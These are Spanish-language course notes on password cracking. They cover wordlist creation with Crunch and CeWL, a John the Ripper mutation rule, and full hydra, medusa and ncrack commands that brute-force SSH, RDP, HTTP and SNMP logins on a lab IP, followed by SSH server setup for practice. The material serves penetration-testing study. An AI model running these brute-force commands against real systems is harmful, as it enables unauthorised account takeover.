Crear diccionarios de contraseñas:
Crunch: creación de una lista de contraseñas dado un alfabeto y longitud online

https://null-byte.wonderhowto.com/how-to/tutorial-create-wordlists-with-crunch-0165931/

https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/

Cewl: Creación de un diccionario basado en web (Custom World List Generator)
http://www.digininja.org/projects/cewl.php

https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-5-creating-custom-wordlist-with-cewl-0158855/

Generación de mutaciones a partir de diccionarios creados:

John The Ripper:

1. Id al fichero y abridlo pluma /*etc*/john/john.conf
2. Puedo ver su contenido e incluso agregar una norma como por ejemplo que me añada tres números:
   # add three numbers
   $[0-9]$[0-9]$[0-9]
3. Guardo el fichero john.conf
4. Previamente he creado, por ejemplo, un diccionario con cewl
5. Ahora voy a proceder a hacer mutaciones con las palabras del diccionario creado anteriormente y la aplicación John the Ripper
6. Tecleo en el terminal: john –wordlist=midiccionario.txt –rules –stdout > midiccionariomutado.txt

Ataques de cracking online basados en diccionario: Hydra, medusa,ncrack...

medusa -h 192.168.11.219 -u admin -P midiccionario.txt -M http -m DIR:/admin -T 10

ncrack -vv –user offsec -P midiccionario.txt rdp://192.168.11.219

hydra -P midiccionario.txt -v 192.168.11.219 snmp

Ejemplo de uso de Hydra para obtener password:

1. Creamos un fichero user.txt con el nombre del usuario que queremos crackear.
2. Tenemos un diccionario creado.
3. Necesitamos saber el puerto, por ejemplo, para ssh es el 22, para web el 80…..
4. Tecleamos: hydra 192.168.11.219 ssh -s 22 -L user.txt -P midiccionario.txt -f -vV

Práctica:

En nuestra máquina virtual vamos a instalar el servicio ssh:

sudo apt-get install openssh-server
podemos también instalar el cliente modificando server por client

Para arrancar el servicio: sudo systemctl start sshd.service
Para parar el servicio: sudo systemctl stop sshd.service
Para reiniciar el servicio: sudo systemctl restart sshd.service
Si queremos que el servicio se inicie con el sistema: sudo systemctl enable sshd.service
Para ver su estado: sudo systemctl status sshd.service
Se conecta: ssh usuario@ip_del_servidor